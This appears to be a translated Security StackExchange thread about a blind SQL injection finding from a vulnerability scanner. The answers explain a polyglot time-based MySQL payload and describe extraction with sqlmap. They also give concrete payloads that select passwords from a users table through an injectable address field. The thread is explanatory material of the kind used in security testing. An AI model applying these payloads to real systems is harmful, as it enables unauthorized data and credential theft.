Inyección de SQL ciego con Acunetrix Vulnerability Scanner

Question

Inyección de SQL ciego con Acunetrix Vulnerability Scanner

#1 de Denis (2 votos)
#2 de crovers (0 votos)

4

Estoy tratando de analizar los resultados de las pruebas para la inyección ciega de SQL usando Acunetrix Vulnerability Scanner.

URL encoded POST input address was set to 
if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

Tests performed: 
if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/ => 12.062 s

HTTP headers sent to POST were:
address=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&

Si suministramos algún valor a address , los datos variables se insertan en las tablas. ¿Hay alguna forma de modificar los datos del encabezado de la variable de dirección para que, en lugar de almacenar datos, podamos recuperar los datos y realizar operaciones de selección y conocer el esquema interno?

También sería de gran ayuda si alguien pudiera ayudarme a comprender los aspectos internos detrás de esta declaración:

if(now()=sysdate(),sleep(0),0)/*'XOR(if(now()=sysdate(),sleep(0),0))OR'"XOR(if(now()=sysdate(),sleep(0),0))OR"*/

sql-injection mysql

pregunta Gurunatha Reddy G 20.09.2016 - 05:42

fuente

2 respuestas

Lea otras preguntas en las etiquetas sql-injection mysql

¿Qué debo intercambiar con el servidor cuando genero mi clave AES 256? ¿Por qué CVSSv2 no considera que XSS tenga un impacto de confidencialidad?

score 2 · Answer 1

La declaración

if(now()=sysdate(),sleep(6),0)/*'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"*/

básicamente intenta tres puntos de inyección diferentes a la vez.

1. El directo

    if(now()=sysdate(),sleep(6),0)/*...*/

Si la entrada se interpretara directamente (sin caracteres de escape), este sql se activaría. El resto de la cadena de entrada sería comentado.

2. Las comillas simples ".."

    ..'XOR(if(now()=sysdate(),sleep(6),0))OR'..

Si la entrada se encapsula en la declaración con comillas simples, los caracteres al principio y al final se separarán del contexto y se interpretará el sql entre ellos.

3. Las comillas dobles ".."

    .."XOR(if(now()=sysdate(),sleep(6),0))OR"*/

Igual que con las comillas simples, pero funciona para entradas encapsuladas entre comillas dobles.

El aspecto de la consulta

Si es PHP el que construye esta declaración de MySQL, podría parecerse a uno de los siguientes (según el caso que lo active):

sql = "INSERT INTO tbl_addresses (address,user) VALUES("+$_POST["address"]+",..)"
sql = "INSERT INTO tbl_addresses (address,user) VALUES('"+$_POST["address"]+"',..)"
sql = "INSERT INTO tbl_addresses (address,user) VALUES(\""+$_POST["address"]+"\",..)"

Cómo funciona

Las declaraciones son las mismas para cada caso de inyección.
Primero compara si el valor de retorno de la función "ahora" coincide con el de la función "sysdate". Si ese es el caso (y debería serlo), se llamará a la función "dormir" en un tiempo de 6 o 0 segundos, lo que provocará el retraso que observó.

Es posible explotar esto como una inyección SQL puramente ciega. Una herramienta como sqlmap te ayudará con eso, ya que tomaría mucho tiempo si lo haces a mano.
Básicamente, lo que hará (en forma simplificada), es emitir declaraciones como:

if ( nth_character_of(password) == "a" , sleep(6), 0)

Donde "nth_character_of" será una función específica de la base de datos que selecciona un carácter de una cadena y "password" será una consulta que devuelve cualquier valor que desee recuperar de la base de datos. También utilizará un método optimizado para encontrar los caracteres correctos.
Si sqlmap experimenta un retraso, sabrá que la comparación fue correcta y se repetirá.

Reduciéndolo

Puede tratar de suministrar cada uno de los tres casos de inyección por separado y ver cuál resulta en el retraso. De esta manera, la cadena de inyección se vuelve mucho más corta y fácil de modificar y comprender.

Lo que podrías probar

Si el valor se devuelve en la interfaz, como dijo en un comentario en otra respuesta, la inyección de SQL no es puramente ciega.
Es posible que tenga éxito al intentar insertar su valor directamente así:

version()/*'+version()+'"+version()+"*/

para recuperar la versión en el frontend o con su consulta en los tres lugares como:

(select password from users LIMIT 1)/*'+(select password from users LIMIT 1)+'"+(select password from users LIMIT 1)+"*/

El que tiene la consulta personalizada podría no funcionar dependiendo de la codificación que se necesita en esta aplicación específica, pero vale la pena intentarlo.

score 0 · Answer 2

[NOTA: vea el hilo de comentarios - aquí hay realmente inyección de sql, como lo demuestra el tiempo de ida y vuelta de 12 segundos]

Si esa declaración se inserta realmente en la columna de dirección, es probable que no tenga una inyección de SQL allí, al menos no explotable por esa cadena en particular.

Parece que está intentando causar una pausa en la ejecución que es detectable por el marco de explotación, ya que es ciego (no se devuelven los datos), es difícil saber desde el exterior si está funcionando. Es por eso que el sueño.

Sin embargo, una inyección se produce no cuando los datos se colocan en el lugar correcto (si alguien coloca esto en el campo de dirección, se esperaría que terminara en la columna de direcciones), sino cuando los datos se interpretan como un código . Por lo que dices, eso no está sucediendo. Por favor aclarar si entendí mal.